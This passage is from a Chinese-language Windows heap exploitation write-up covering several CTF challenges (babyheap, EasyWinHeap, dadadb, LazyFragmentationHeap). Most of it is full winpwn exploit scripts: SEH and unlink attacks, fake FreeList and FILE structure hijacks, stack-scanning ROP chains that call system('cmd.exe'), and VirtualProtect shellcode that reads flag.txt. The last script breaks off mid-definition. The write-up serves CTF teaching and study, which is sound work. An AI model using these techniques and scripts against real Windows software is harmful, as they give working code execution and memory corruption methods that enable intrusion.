fake_ScopeTable += p32(0x0FFFFFFFE) # ScopeRecord.EnclosingLevel
fake_ScopeTable += p32(FilterFunc) # ScopeRecord.FilterFunc
fake_ScopeTable += p32(HandlerFunc) # ScopeRecord.HandlerFunc
fake_ScopeTable += p32(0x000000000) # end of ScopeTable
fake_CPPEH_RECORD = ''
fake_CPPEH_RECORD += p32(buf_addr - 0xe0) # old_esp
fake_CPPEH_RECORD += p32(leak_ucrtbased_addr) # exc_ptr
fake_CPPEH_RECORD += p32(buf_addr + 0x18c) # Next
fake_CPPEH_RECORD += p32(pe.address + 0x1e30) # ExceptionHandler
fake_CPPEH_RECORD += p32(buf_addr ^ security_cookie) # ScopeTable
# fake_CPPEH_RECORD += p32((pe.address + 0x90A0) ^ security_cookie) # ScopeTable
fake_CPPEH_RECORD += p32(0xfffffffe) # TryLevel
payload = ''
payload += fake_ScopeTable
payload += p32(0x114514)
payload = payload.ljust(0x104, '\xcc')
payload += p32(leak_canary)
payload += fake_CPPEH_RECORD
payload += p32(0)
payload += p32(ucrtbased.symbols['system'])
payload += p32(0)
payload += p32(ucrtbased.search("cmd.exe").next())
# windbg.attach(p, "bp {}".format(hex(HandlerFunc)))
p.sendafter("Input again: ", payload)
p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")
p.interactive()
在进行堆利用的时候如果破坏了进程的默认堆,那么在劫持程序执行流程后会因堆异常导致程序崩溃而无法完成后续利用,这就需要我们在劫持程序执行流程后对进程的默认堆进行修复。
首先利用 ROP 执行 HeapCreate(0,0,0)
完成堆的创建 HeapCreate
,其中 HeapCreate
函数来自 kernel32.dll
。
payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(0)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0)
payload += p64(kernel32.symbols['HeapCreate'])
之后修改 PEB
中的 ProcessHeap (+0x30)
和 ucrtbase.dll
中的 __acrt_heap
为 HeapCreate(0,0,0)
的返回值即可完成堆修复,此时进程的默认堆为 HeapCreate(0,0,0)
创建的堆。
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(PEB_addr + 0x30) # process_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(ucrtbase.address + 0xEB570) # __acrt_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
触发 unlink 的情况有多种,下面仅举例 free 时合并空闲 chunk 造成的 unlink 的方法,这种方法对 unlink 的地址处的内存要求最小。
_HEAP
初始状态如下图所示:
首先释放 Q
为了让 ListHint
不指向 Q
,我们需要再释放 S
。因为如果 ListHint
指向 Q
,在 unlink 之前在 RtlpHeapRemoveListEntry
函数中会对 Q
的 Flink
进行检查。
为了绕过 Q->Flink->Blink == Q->Blink->Flink == &Q
的检查,利用 Heap Overflow 或者 UAF 修改 Q
的 _LIST_ENTRY
如下图所示。
合并 chunk 的时候完成 unlink 。
之后会更新 FreeList
,此时需要插到 A
之前,会检查 A->Blink->Flink == &A
而由于 A->Blink
在 unlink 中并没有实际被修改,所以 A->Blink=Q
,而 Q->Flink = &Q-8
,所以这个检查并不会通过。但是,这个检查不通过,不会 abort,只是会中断将 P
插入 FreeList
这个操作。
至此 unlink 攻击完成,可以控制 Data Pointer
实现任意地址读写。
附件下载链接
一开始 IDA 不能反编译程序,根据错误提示发现 401558
地址之后的代码有问题,实际上这里以及是出错错误退出,___report_rangecheckfailure
不会返回,因此我们在这个函数后面 patch 一个 ret
然后修改一下 IDA 的栈分析就可以正常反编译了。
分析程序发现程序一开始泄露了程序基址, edit 功能存在堆溢出并且 show 功能是 printf("Show : %s\n", ptr_list[index]);
可以通过填充字符实现越界读。
因此我们可以泄露堆的头部然后位置越界写伪造 _LIST_ENTRY
实现 unlink 控制 ptr_list
实现任意地址读写。之后依次泄露 ucrtbase.dll
,kernel32.dll -> ntdll.dll -> PEB -> TEB -> stack
基址,然后栈上写 ROP。由于栈上返回堆栈相对栈底偏移不固定,因此需要搜索返回地址。
from winpwn import *
context.arch = "i386"
context.newline = '\n'
# context.log_level = "debug"
pe = winfile("babyheap_patch.exe")
ucrtbase = winfile("ucrtbase.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
# p = process(pe.path)
p = remote("192.168.64.161", 22333)
def add(size, content=""):
p.sendlineafter("What's your choice?", "1")
p.sendlineafter("How long is your sword?", str(size))
p.sendlineafter("Well done! Name it!", content)
def delete(index):
p.sendlineafter("What's your choice?", "2")
p.sendlineafter("Which sword do you want to destroy?", str(index))
def edit(index, content):
p.sendlineafter("What's your choice?", "3")
p.sendlineafter("Which one will you polish?", str(index))
p.sendlineafter("And what's the length this time?", str(len(content)))
p.sendlineafter("Then name it again : ", content)
def show(index):
p.sendlineafter("What's your choice?", "4")
p.sendlineafter("Which one will you check?", str(index))
p.recvuntil("Show : ")
def write_one(address):
p.sendlineafter("What's your choice?", "1337")
p.sendlineafter("So what's your target?", str(address))
p.recvuntil("And here is your Novice village gift : ")
leak_pe_addr = int(p.recv(10), 16)
log.info("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x1090
log.info("pe base: " + hex(pe.address))
ptr_list_addr = pe.address + 0x4370
log.info("ptr_list addr: " + hex(ptr_list_addr))
ptr_flag_addr = pe.address + 0x43BC
log.info("ptr_flag addr: " + hex(ptr_flag_addr))
# windbg.attach(p, "bp {}+0x1262".format(hex(pe.address)))
# windbg.attach(p)
for i in xrange(6): add(0x58)
delete(2)
delete(4)
edit(1, 'a' * (0x58 + 0))
show(1)
free_heap_header = ''
while len(free_heap_header) < 8:
head_len = len(free_heap_header)
edit(1, 'a' * (0x58 + head_len))
show(1)
p.recvuntil('a' * (0x58 + head_len))
free_heap_header += p.recvline(newline='\r\n', drop=True)
if len(free_heap_header) < 8:
free_heap_header += '\x00'
free_heap_header = free_heap_header[:8]
log.success("leak free heap header: ")
hexdump(free_heap_header)
edit(1, 'a' * 0x58 + free_heap_header + p32(ptr_list_addr + 8 - 4) + p32(ptr_list_addr + 8))
delete(1)
write_one(ptr_flag_addr + 2)
arbitrary_address_read = lambda address: (edit(2, p32(ptr_list_addr + 8) + p32(address)), show(3))
arbitrary_address_write = lambda address, content: (edit(2, p32(ptr_list_addr + 8) + p32(address)), edit(3, content))
def arbitrary_address_readn(address, length):
read_buf = ""
while len(read_buf) < length:
arbitrary_address_read(address + len(read_buf))
read_buf += p.recvline(newline='\r\n', drop=True)
if len(read_buf) < length: read_buf += '\x00'
return read_buf[:length]
vfprintf_addr = u32(arbitrary_address_readn(pe.imsyms['__stdio_common_vfprintf'], 4))
log.success("vfprintf addr: " + hex(vfprintf_addr))
ucrtbase.address = vfprintf_addr - ucrtbase.symbols['__stdio_common_vfprintf']
log.info("ucrtbase base: " + hex(ucrtbase.address))
sleep_addr = u32(arbitrary_address_readn(pe.imsyms['Sleep'], 4))
log.success("Sleep addr: " + hex(sleep_addr))
kernel32.address = sleep_addr - kernel32.symbols['Sleep']
log.info("kernel32 base: " + hex(kernel32.address))
wcsncpy_addr = u32(arbitrary_address_readn(kernel32.imsyms['wcsncpy'], 4))
log.success("wcsncpy addr: " + hex(wcsncpy_addr))
ntdll.address = wcsncpy_addr - ntdll.symbols['wcsncpy']
log.info("ntdll base: " + hex(ntdll.address))
log.info("leak PEB addr from: " + hex(ntdll.address + 0x120c0c))
PEB_addr = u32(arbitrary_address_readn(ntdll.address + 0x120c0c, 4)) - 540
log.info("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x3000
log.info("TEB addr: " + hex(TEB_addr))
stack_base = u32(arbitrary_address_readn(TEB_addr + 4, 4))
stack_limit = u32(arbitrary_address_readn(TEB_addr + 8, 4))
log.success("stack base: " + hex(stack_base))
log.success("stack limit: " + hex(stack_limit))
rop = p32(ucrtbase.symbols['system']) + p32(0) + p32(ucrtbase.search("cmd.exe").next())
for address in range(stack_base, stack_limit - 4, -4):
arbitrary_address_read(address)
read_data = p.recvline(newline='\r\n', drop=True)[:4].ljust(4, '\x00')
if u32(read_data) == pe.address + 0x193b:
log.success("find ret addr: " + hex(address))
arbitrary_address_write(address, rop)
break
p.sendlineafter("What's your choice?", "5")
p.interactive()
附件下载链接
存在 UAF 和堆溢出,并且调用指针数组上的函数指针,可以直接 UAF+unlink 修改函数指针为 system
完成 getshell 。
from winpwn import *
context.arch = "i386"
#context.log_level = 'debug'
pe = winfile("EasyWinHeap.exe")
ucrtbase = winfile("ucrtbase.dll")
p = process(pe.path)
def add(size):
p.sendlineafter("option >", "1")
p.sendlineafter("size >", str(size))
def delete(index):
p.sendlineafter("option >", "2")
p.sendlineafter("index >", str(index))
def show(index):
p.sendlineafter("option >", "3")
p.sendlineafter("index >", str(index))
def edit(index, content):
p.sendlineafter("option >", "4")
p.sendlineafter("index >", str(index))
p.sendlineafter("content >", content)
add(0x90)
add(0x90)
add(0x90)
add(0x90)
add(0x90)
delete(1)
delete(3)
show(1)
p.recvline()
node_list_addr = u32(p.recv(4)) - 0x100
log.success("node_list_addr: " + hex(node_list_addr))
log.info("chunk1 addr: " + hex(node_list_addr + 0xa0))
edit(1, p32(node_list_addr + 0x8) + p32(node_list_addr + 0xC))
delete(0)
show(1)
p.recvline()
leak_func_ptr = u32(p.recv(8)[-4:])
# leak_func_ptr = u32(p.recvline(drop=True)[-3:].ljust(4, '\x00'))
log.info("leak func ptr: " + hex(leak_func_ptr))
pe.address = leak_func_ptr - 0x104a
log.info("pe base: " + hex(pe.address))
edit(1, p32(node_list_addr + 0xC) + p32(leak_func_ptr) + p32(pe.imsyms['getchar']))
show(2)
p.recvline()
ucrtbase.address = u32(p.recv(4)) - ucrtbase.symbols['getchar']
log.info("ucrtbase base: " + hex(ucrtbase.address))
# windbg.attach(p, "bp {}\nbp {}".format(hex(pe.address + 0x125F), hex(pe.address + 0x12D0)))
edit(1, p32(node_list_addr + 0xC) + p32(ucrtbase.symbols['system']) + p32(node_list_addr + 0x18) + "cmd.exe\x00")
show(2)
p.interactive()
附件下载链接
和 2019 OGEEK babyheap 一样,不过这个题开了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY
保护,需要 ORW 。
from winpwn import *
context.arch = "amd64"
context.log_level = 'debug'
pe = winfile("overflow.exe")
ucrtbase = winfile("ucrtbase.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)
def add(size, content=""):
p.sendlineafter("[+] delete", "1")
p.sendlineafter("[+] Please input size:", str(size))
p.sendlineafter("[+] Please input content:", content)
def show(index):
p.sendlineafter("[+] delete", "2")
p.sendlineafter("[+] Input index:", str(index))
p.recvuntil("[+] content: ")
def edit(index, content):
p.sendlineafter("[+] delete", "3")
p.sendlineafter("[+] Input index:", str(index))
p.sendlineafter("[+] Please input size:", str(len(content)))
p.sendlineafter("[+] Please input content:", content)
def delete(index):
p.sendlineafter("[+] delete", "4")
p.sendlineafter("[+] Input index:", str(index))
def backdoor(index):
p.sendlineafter("[+] delete", "88")
p.sendlineafter("[+] Input index:", str(index))
p = start()
p.sendlineafter("[+] Now,are you ready?", "Yes,me is!!!")
p.sendlineafter("[+] Please tell me your name:", "%p%p%p%p%p")
p.recvuntil("[+] Hello! ")
p.recv(16)
ucrtbase.address = int(p.recv(16), 16) - 0x100900
log.success("ucrtbase base: " + hex(ucrtbase.address))
p.recv(32)
pe.address = int(p.recv(16), 16) - 0x1b4a
log.success("pe base: " + hex(pe.address))
ptr_list_addr = pe.address + 0x6620
log.info("ptr_list addr: " + hex(ptr_list_addr))
p.close()
p = start()
p.sendlineafter("[+] Now,are you ready?", "Yes,me is!!!")
p.sendlineafter("[+] Please tell me your name:", "sky123")
p.sendlineafter("Please tell me your password:", "sky123")
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1690)[:-1]))
for _ in xrange(5): add(0x58)
delete(1)
delete(3)
free_heap_header = ''
while len(free_heap_header) < 8:
head_len = len(free_heap_header)
edit(0, 'a' * (0x58 + head_len))
show(0)
p.recvuntil('a' * (0x58 + head_len))
free_heap_header += p.recvline(drop=True)
if len(free_heap_header) < 8:
free_heap_header += '\x00'
free_heap_header = free_heap_header[:8]
log.success("leak free heap header")
hexdump(free_heap_header)
edit(0, "a" * 0x58 + free_heap_header + p64(ptr_list_addr) + p64(ptr_list_addr + 8))
delete(0)
backdoor(1)
arbitrary_address_read = lambda address: (edit(1, p64(ptr_list_addr + 8) + p64(address)), show(2))
arbitrary_address_write = lambda address, content: (edit(1, p64(ptr_list_addr + 8) + p64(address)), edit(2, content))
def arbitrary_address_readn(address, length):
read_buf = ""
while len(read_buf) < length:
log.info("read_buf len: " + hex(len(read_buf)))
log.info("read_buf:")
hexdump(read_buf)
if len(read_buf) != 0: arbitrary_address_write(address, "a" * len(read_buf))
arbitrary_address_read(address)
if len(read_buf) != 0: p.recvuntil("a" * len(read_buf))
read_buf += p.recvline(drop=True)
if len(read_buf) < length: read_buf += '\x00'
read_buf = read_buf[:length]
arbitrary_address_write(address, read_buf)
return read_buf
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x17B1)[:-1]))
arbitrary_address_read(pe.imsyms['GetCurrentThreadId'])
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))
arbitrary_address_read(kernel32.imsyms['memcpy'])
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))
arbitrary_address_read(ntdll.address + 0x184318)
PEB_addr = u64(p.recvline(drop=True).ljust(8, '\x00')) - 0x80
log.success("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))
stack_base = u64(arbitrary_address_readn(TEB_addr + 8, 8))
log.success("stack base: " + hex(stack_base))
def get_payload(payload_addr):
shellcode_offset = 0x80
rwbuf_offset = 0x70
shellcode = asm(
"""
sub rsp, 0x1000
mov rcx, {0}
mov edx, 0x80000000
xor r9d, r9d
lea r8d, [r9+1]
mov qword ptr [rsp + 0x30], 0
mov qword ptr [rsp + 0x28], 0x80
mov qword ptr [rsp + 0x20], 3
mov rbx, {1}
call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
xchg rcx,rax
mov rdx, {0}
mov r8d, 0x30
lea r9,[rsp + 0x200]
mov qword ptr [rsp + 0x20], 0
mov rbx, {2}
call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
mov rcx, {0}
mov rbx,{3}
call rbx // puts(Buffer);
""".format(
hex(payload_addr + rwbuf_offset),
hex(kernel32.symbols['CreateFileA']),
hex(kernel32.symbols['ReadFile']),
hex(ucrtbase.symbols['puts']),
)
)
payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(payload_addr & ~0xFFF)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(payload_addr + 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(payload_addr + shellcode_offset)
payload = payload.ljust(rwbuf_offset, '\xcc')
payload += "flag.txt\x00"
payload = payload.ljust(shellcode_offset, '\xcc')
payload += shellcode
return payload
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x17D4)[:-1]))
# windbg.attach(p, "bp {}".format(hex(ntdll.search(asm("pop rcx;ret"), executable=True).next())[:-1]))
for address in range(stack_base - 8, stack_base - 0x4000, -8):
arbitrary_address_read(address)
read_data = p.recvline(drop=True)[:8].ljust(8, '\x00')
if u64(read_data) == pe.address + 0x20D0:
log.success("find ret addr: " + hex(address))
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1A04)[:-1]))
arbitrary_address_write(address, get_payload(address))
break
p.sendlineafter("[+] delete", "88")
p.interactive()
如果存在堆溢出并且需要 malloc 的地址附近的数据可控,那么可以伪造 FreeList
链表以及 fake chunk 的 chunk head 从而实现任意地址 malloc 。
附件下载链接
首先根据题目提供的启动脚本可知题目开启 PROCESS_MITIGATION_CHILD_PROCESS_POLICY
保护,只能通过 ORW 获得 flag 。
add 功能存在堆溢出,由于只能在申请堆块的时候才能编辑堆块,因此不能采用 unlink 攻击(因为即使 unlink 攻击成功也无法进行后续利用),而是通过伪造 FreeList
链表实现任意地址 malloc 。
new_size = atoll(String);
if ( new_size >= 0x1000 )
new_size = 0x1000i64;
node1->ptr = (char *)HeapAlloc(hHeap, 8u, new_size);
printf("Data:");
size = node1->size;
ptr = node1->ptr;
v13 = GetStdHandle(0xFFFFFFF6);
if ( !ReadFile(v13, ptr, size, &NumberOfBytesRead, 0i64) )// overflow
{
puts("read error");
_exit(1);
}
首先通过堆越界读泄露堆地址,然后构造任意地址读泄露 &_HEAP + 0x2c0
处存储的 ntdll.dll
地址,从而泄露 ntdll.dll
基址。这里要注意泄露的 ntdll.dll
地址与 ntdll.dll
基址偏移不固定。之后通过 ntdll->PEB->TEB
的泄露最终泄露栈地址和 dadadb.exe
的程序基址。从 dadadb.exe
的导入表泄露 kernel32.dll
基址以及 puts
函数地址。puts
函数稍后会作为 ORW 的输出函数。最后扫描栈中数据找到 main
函数返回地址从而定位到 login
函数的返回地址作为之后 ROP 的写入地址
接下来需要伪造 FreeList
链表实现任意地址 malloc 。观察发现 Password
后面跟着 Stream
指针。Password
是我们能够控制的,可以用来伪造堆头和 Flink
,Blink
,然后可以任意地址 malloc 劫持 Stream
指向我们伪造的 FILE
结构体。
在伪造 FreeList
的过程中要注意 chunk 地址要避开 \xa0
和 \xd0
避免输入被截断。
.data:0000000140005648 ; char Password[]
.data:0000000140005648 Password xmmword ? ; DATA XREF: login+3A↑w
.data:0000000140005648 ; login+DD↑o
.data:0000000140005658 xmmword_140005658 xmmword ? ; DATA XREF: login+41↑w
.data:0000000140005668 ; FILE *Stream
.data:0000000140005668 Stream dq ? ; DATA XREF: login+143↑r
在我们伪造的 FILE
结构体中 _base
指向 login
函数的返回地址处,_file
设为 0 即标准输入,那么在 login
函数中执行下面这段代码就可以读入 ROP 到 login
函数的返回地址 。
fp = Stream;
if ( !Stream )
{
fopen_s(&Stream, "user.txt", "r");
fp = Stream;
if ( !Stream )
_exit(0);
}
fread(Buffer, 0x100ui64, 1ui64, fp);
由于题目没有提供 ucrtbase.dll
,我们使用 kernel32.dll
中的 CreateFile
和 ReadFile
以及泄露的 puts
函数实现 ORW 。
from winpwn import *
context.arch = 'amd64'
context.log_level = 'debug'
pe = winfile("dadadb.exe")
ntdll = winfile("ntdll.dll")
kernel32 = winfile("kernel32.dll")
# context.log_level='debug'
def login(user, passwd):
p.sendlineafter('>> ', '1')
p.sendafter('User:', user)
p.sendlineafter('Password:', passwd)
def add(key, size, data=context.newline):
p.sendlineafter('>> ', '1')
p.sendlineafter('Key:', key)
p.sendlineafter('Size:', str(size))
p.sendafter('Data:', data)
def show(key):
p.sendlineafter('>> ', '2')
p.sendlineafter('Key:', key)
p.recvuntil('Data:')
def delete(key):
p.sendlineafter('>> ', '3')
p.sendlineafter('Key:', key)
def logout(): p.sendlineafter('>> ', '4')
p = process("dadadb.exe")
login('orange', 'godlike')
add('1', 0x300)
add('1', 0x30)
add('2', 0x80)
# windbg.attach(p, "bp 00007ff7`865e0000+1B5A")
show('1')
head = p.recv(0x40)
heap_base = u64(p.recv(8)) - 0x980
log.success("heap base: " + hex(heap_base))
arbitrary_address_read = lambda address: (add('1', 0x30, head + p64(address)), show('2'))
arbitrary_address_read(heap_base + 0x2c0)
ntdll.address = (u64(p.recv(8)) - 0x163d10) & ~0xffff
log.success("ntdll base: " + hex(ntdll.address))
arbitrary_address_read(ntdll.address + 0x165368)
PEB_addr = u64(p.recv(8)) - 832
log.success("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))
arbitrary_address_read(PEB_addr + 0x10)
pe.address = u64(p.recv(8))
log.success("pe base: " + hex(pe.address))
arbitrary_address_read(TEB_addr + 8)
stack_base = u64(p.recv(8))
log.success("stack base: " + hex(stack_base))
stack_limit = u64(p.recv(8))
log.success("stack limit: " + hex(stack_limit))
arbitrary_address_read(pe.imsyms['puts'])
puts_addr = u64(p.recv(8))
log.success("puts addr: " + hex(puts_addr))
arbitrary_address_read(pe.imsyms['GetCurrentProcessId'])
kernel32.address = u64(p.recv(8)) - kernel32.symbols['GetCurrentProcessId']
log.success("kernel32 base: " + hex(kernel32.address))
rop_addr = None
for address in range(stack_base - 8 - 0x80, stack_limit, -0x80):
arbitrary_address_read(address)
read_data = p.recv(0x80)
pos = read_data.find(p64(pe.address + 0x1e38))
if pos != -1:
rop_addr = address + pos - 0x280
break
log.success("rop addr: " + hex(rop_addr))
add('3', 0x200)
add('3', 0x10) # chunk3
add('4', 0x50) # chunk4
add('5', 0x50) # chunk5
fake_FILE = ''
fake_FILE += p64(0) # _ptr
fake_FILE += p64(rop_addr) # _base
fake_FILE += p32(0) # _cnt
fake_FILE += p32(0x2080) # _flags
fake_FILE += p32(0) # _file = stdin(0)
fake_FILE += p32(0) # _charbuf
fake_FILE += p64(0x200) # _charbuf
fake_FILE += p64(0) # _tmpfname
fake_FILE += p64(0xffffffffffffffff) # DebugInfo
fake_FILE += p32(0xffffffff) # LockCount
fake_FILE += p32(0) # RecursionCount
fake_FILE += p64(0) # OwningThread
fake_FILE += p64(0) # LockSemaphore
fake_FILE += p64(0) # SpinCount
add('4', 0x60) # free chunk4
add('5', 0x60, fake_FILE) # free chunk5
log.info("chunk3(0x20) addr: " + hex(heap_base + 0xa80))
log.info("chunk4(0x60) addr: " + hex(heap_base + 0xb10))
log.info("chunk5(0x60) addr: " + hex(heap_base + 0xbe0))
log.info("fake chunk addr: " + hex(pe.address + 0x5658))
show('3')
heap_data = p.recv(0x200)
head = heap_data[0x88:0x90]
payload = ''
payload += heap_data[:0x98]
payload += p64(pe.address + 0x5658) # chunk4->Blink = fake_chunk
payload += heap_data[0xa0:0x160]
payload += p64(pe.address + 0x5658) # chunk5->Flink = fake_chunk
add('3', 0x10, payload)
fake_chunk = ''
fake_chunk += 'godlike'.ljust(8, '\x00')
fake_chunk += head
fake_chunk += p64(heap_base + 0xb10) # fake_chunk->Flink = chunk4
fake_chunk += p64(heap_base + 0xbe0) # fake_chunk->Blink = chunk5
logout()
login('orange', fake_chunk)
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1591)[:-1]))
add('4', 0x50, 'a' * 0x10 + p64(heap_base + 0xcb0))
logout()
login("sky", "123")
shellcode_addr = (rop_addr - 0x500) & ~0xFFF
buf_addr = rop_addr + 0x128
# windbg.attach(p, "bp {}".format(hex(kernel32.symbols['ReadFile']).replace("L", "")))
# windbg.attach(p, "bp {}".format(hex(shellcode_addr).replace("L", "")))
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(0xFFFFFFF6)
payload += p64(kernel32.symbols['GetStdHandle'])
payload += p64(ntdll.address + 0x3537a) # mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret;
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['ReadFile'])
payload += p64(shellcode_addr)
payload += '\x00' * 0x20
payload += p64(0)
payload = payload.ljust(buf_addr - rop_addr, '\x00')
payload += 'flag.txt\x00'
sleep(1)
p.sendline(payload)
shellcode = asm(
"""
sub rsp, 0x1000
mov rcx, {0}
mov edx, 0x80000000
xor r9d, r9d
lea r8d, [r9+1]
mov qword ptr [rsp + 0x30], 0
mov qword ptr [rsp + 0x28], 0x80
mov qword ptr [rsp + 0x20], 3
mov rbx, {1}
call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
xchg rcx,rax
mov rdx, {0}
mov r8d, 0x30
lea r9,[rsp + 0x200]
mov qword ptr [rsp + 0x20], 0
mov rbx, {2}
call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
mov rcx, {0}
mov rbx,{3}
call rbx // puts(Buffer);
""".format(
hex(buf_addr),
hex(kernel32.symbols['CreateFileA']),
hex(kernel32.symbols['ReadFile']),
hex(puts_addr)
)
)
sleep(1)
p.sendline(shellcode)
p.interactive()
通过越界写修改 chunk 堆头造成堆块重叠,造成更大范围的越界。
附件下载链接
结构体定义如下:
struct Node
{
size_t magic2;
size_t size;
size_t id;
size_t magic1;
char *content;
};
各个功能有如下特点:
add | edit | show | delete | OpenFile | ReadFile | |
---|---|---|---|---|---|---|
magic1 | 初始化为 0xDDAABEEF1ACD | 必须为 0xDDAABEEF1ACD | 必须为 0xDDAABEEF1ACD 或 0xFACE6DA61A35C767 | 无 | 无 | 必须为 0xDDAABEEF1ACD 或者 magic2 满足条件 |
magic2 | 初始化为 0xDDAABEEF1ACD | 必须为 0xDDAABEEF1ACD | 必须为 0xDDAABEEF1ACD | 无 | 无 | 必须为 0xDDAABEEF1ACD 或者 magic1 满足条件 |
备注 | 无 | 结束后 magic1 异或 0xFACEB00CA4DADDAA | 无 | 无 | 无 | 最多使用 2 次 |
edit
功能存在越界写:
v19 = -1i64;
v20 = ::node_list[v18].content;
v21 = ::node_list[v18].size;
do
++v19;
while ( v20[v19] );
if ( v19 > v21 && ::node_list[v18].magic1 == 0xDDAABEEF1ACDi64 )
{
v21 = -1i64;
do
++v21;
while ( v20[v21] );
}
if ( read(0, v20, v21) <= 0 )
{
puts("read error");
_exit(1);
}
show
功能存在越界读:
v26 = ::node_list[v24].content;
if ( !v26 )
goto LABEL_56;
if ( ::node_list[v24].magic2 != 0xDDAABEEF1ACDi64 )
goto LABEL_56;
magic = ::node_list[v24].magic1;
if ( magic != 0xDDAABEEF1ACDi64 && magic != 0xFACE6DA61A35C767ui64 )
goto LABEL_56;
printf("Content: %s\n", v26);
由于程序存在越界读,因此我们可以越界读出 chunk 头从而计算出 _HEAP->Encoding
。之后我们可以越界写伪造 chunk 头造成 chunk overlap 进一步扩大漏洞范围。
之后我们可以 UAF 读出 Flink
从而泄露堆基址。然后劫持 FILE
结构体写 NodeList
中的 chunk 指针实现任意地址读。
通过任意地址读我们可以泄露 ntdll
基址,程序基址和 ucrtbase
基址。
在泄露完所需的地址后,参考上面的操作作如下构造:
这次劫持 FILE
是为了任意地址写修改 pioinfo.osfile
实现 \x1a
绕过,为后续无次数限制的任意地址读写做准备。因为 magic 的校验的数字 0xFACE6DA61A35C767 中有 \x1a
。
另外用作 unlink 的 chunk 需要伪造 chunk 头,因为 unlink 时 ListHint
指向该 chunk,在 unlink 之前在 RtlpHeapRemoveListEntry
函数中会对该 chunk 的 Flink
指向的 “chunk” 进行检查。
在修改 FILE
结构体的同时修改后一个 chunk 的头部再次构造堆块重叠,然后申请 0x90 大小的 chunk 确保此时 ListHint
指向 unlink chunk 。同时 UAF 修改 unlink chunk 伪造 Flink
和 Blink
,完成 unlink 所需的条件。 之后再次申请 chunk 触发 unlink 。
完成 unlink 后 NodeList
可以自写,参考 linux kernel pwn 中 pipe_buffer
自写的构造方法实现任意次数的任意地址读写。
之后就是常规的栈上写 ROP 完成后续利用。需要注意的是,由于前面的堆利用破坏了系统默认堆的堆结构,后续利用可能会造成程序崩溃(比如 open
函数),因此需要先通过 ROP 完成堆修复。
题目提供的虚拟机可能因为 VMWare 版本问题卡到无法使用,但是根据题目提供的 dll 版本找到了 Windows 10, version 1903 (Updated Oct 2019) 虚拟机其内置的 dll 与题目提供的一致,因此我在该虚拟机上完成利用。
由于程序使用的是进程默认堆,因此堆排布成功率较低,需要多次尝试。
在进行堆排布之前多次使用 open file 功能在不触发 LFH 的情况下可以清空后端堆中的部分内存碎片,提高利用成功率。
from winpwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.timeout = 2
pe = winfile("LazyFragmentationHeap.exe")
ntdll = winfile("ntdll.dll")
kernel32 = winfile("kernel32.dll")
ucrtbase = winfile("ucrtbase.dll")
def add(size, id):
p.sendlineafter('Your choice: ', '1')
p.sendlineafter('Size:', str(size))
p.sendlineafter('ID:', str(id))
def edit(id, content):
p.sendlineafter('Your choice: ', '2')
p.sendlineafter('ID:', str(id))
p.sendafter('Content:', content)
def show(id):
p.sendlineafter('Your choice: ', '3')
p.sendlineafter('ID:', str(id))
p.recvuntil('Content: ')
def delete(id):
